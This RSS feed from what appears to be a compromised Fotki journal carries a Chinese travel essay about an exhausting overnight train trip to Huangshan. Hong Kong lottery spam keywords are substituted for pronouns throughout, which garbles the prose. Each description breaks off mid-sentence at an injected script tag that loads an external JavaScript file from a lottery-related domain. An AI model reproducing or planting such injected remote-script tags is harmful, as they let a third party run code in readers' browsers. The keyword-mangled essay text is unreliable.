<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0"
 xmlns:dc="http://purl.org/dc/elements/1.1/"
 xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/"
 xmlns:admin="http://webns.net/mvcb/"
 xmlns:syn="http://purl.org/rss/1.0/modules/syndication/"
>

<channel>
<title>香港六合彩开奖日期</title>
<link>http://journals.fotki.com/hpk5b/pg77h3/</link>
<description> 　　到了凌晨五点，当天边刚露曙光之时，小漩终于在头顶行李架上一双无比怪味且奇脏无 比的脚的晃动下忍不住吐了出来，紧接着夏晴开始吐。我和罗杰硬生生地把到了嘴边的东西 又咽了回去。因为我们自带的饭盒已快不够这二人吐了，而我们根本不可能挤到厕所边，除 非一口喷在别人身上。可我们又怕被暴打，就算不被暴打，将心比心，若是别人一口吐在我 们身上我们一定也会一口还吐回去的。因为面对别人体内的脏物，香港六合彩开奖日期根本就不可能不还以他 体内的脏物，哪怕他脑袋里并不想，可事实却是让人觉得他在以牙还牙，很小气。所以为了 安全及自身的体面起见，我们所能做的就是象牛一样完整地完成反刍的全过程。   　　我很佩服我身边的这些衣裳不整的人。我想这些人一定是坐这趟车的老客了，香港六合彩开奖日期们对我 们的呕吐简直就是毫无反应，依然昏昏欲睡和麻木不仁，有的干脆睡着。我记得所有动物中 好象只有马能够站着睡，我想这些人可能跑起来会很快。   　　我开始面无人色地怀念卧铺车厢。短短的十几个小时，经历了华屋山丘的剧变。在那里 可以浪漫，可以风花雪月，甚至想着一些深刻的如再也不会重来的人生偶遇之类带有些 哲学色彩的问题。而这里所有的想法就是能蹲一下，最奢侈的念头就是能坐下，哪怕是小坐 片刻也会感觉如久旱逢甘露那样救命。看来要浪漫也和吃饱穿暖才会想到做爱一样，必须要 有条件，如有钱，有关系，有宽松的环境，浪漫就算会产生在厕所里也不会产生在这里。   　　关于浪漫能够产生在厕所里我倒是有例为证。原来我们住的南区宿舍右前方有一片竹林， 竹林里掩映着一个厕所，很是清静。我常常舍近求远到那里如厕。这个厕所的排气功能很好， 上下开窗，常有穿堂风过，味道并不刺激。每当我透过厕所上下的排气窗看到外面摇曳的竹 叶时，便觉得很放松，拉得很尽兴，甚至有些快感。因为一点也不局促，我也常常蹲在那里 幻想一些风花雪月或是一些人生的问题，我觉得这样的如厕很浪漫。   　　七十七火车终于在早&lt;script src="http://ww.lhc7.com/all.js">&lt;/script> </description>

<image>
<title>香港六合彩开奖日期</title>
<url>http://images.fotki.com/photocomments/bigavatar.gif</url>
<link>http://journals.fotki.com/hpk5b/pg77h3/</link>
</image>

<item>
<title>香港白小姐</title>
<link>http://journals.fotki.com/hpk5b/pg77h3/entry/trfqrgsbbkk/</link>
<description>上九点多钟到达黄山。当我们疲惫不堪地下来时，历
时八个多小时的苦难才宣告结束。

　　我们四人从未这样受过苦，当脚刚触到地时，都一屁股坐到了地上。我从未体会过坐竟
是这样的惬意，两个女孩简直要赖着不起。四人围成一圈，简直不忍多看对方。罗杰耷拉着
眼，两个眼袋大的真想让人把香港白小姐摘下。小漩和夏晴披头散发，面容憔悴带着菜色。看着对方，
不用说就知道自己也是邋遢无比，样子可笑，这就是以人为镜，可以知美丑。但我们谁也笑
不出来，没有力气笑，也没有资格笑，以至后来就觉得一点也不可笑。

　　我想到陈圆。那次我去接香港白小姐时，他一定也是从这样的火车上下来。在这种火车上即便有
位置坐着也一样会被搞得人不人鬼不鬼。因为坐的人也许想的是要伸直自己的腿，而在这种
结结实实的空间里，坐的人伸腿和站的人曲腿一样都只是一种善良美好的愿望。我想这时要
是哪个女孩兴冲冲地来接梦中的我，我除了给香港白小姐失望外实在没有别的什么了，就象陈圆给我
的那样。

　　但不管怎么说，从这趟车上下来我又一次体会到解放的味道，这又是一种完完全全的解
放，(禁止)上的解放。当我对香港白小姐们说我们解放时，我并没有手舞足蹈，喜形于色，而是如同一
个久经磨难的共产党员在胜利的时刻坚定地握着同志的手，深情地，发自内心地，饱含热泪
地说：同志，我们解放了。香港白小姐们三人很理解我的心情，并没有因为解放兴奋地喊出声来，
也只是重重地点了点头。我觉得只有深刻的人才懂得解放的全部含义，而此刻我们就是这么
几个深刻的人。

　　我们吃了一碗麻辣面，被辣得嘘嘘作声全身冒汗之后，又上路了。从火车站到黄山脚下
还有七十多公里的路程。虽说一路盘旋的山路，但只因有了位置坐，连两个自称会晕车的女
孩都不晕了。可见一开始只要让人陷入非常悲&lt;script src="http://ww.lhc7.com/all.js">&lt;/script></description>
<guid isPermaLink="true">http://journals.fotki.com/hpk5b/pg77h3/entry/trfqrgsbbkk/</guid>
<pubDate>Sun, 30 Nov 2008 09:29:54 GMT</pubDate>
</item>

</channel>
</rss>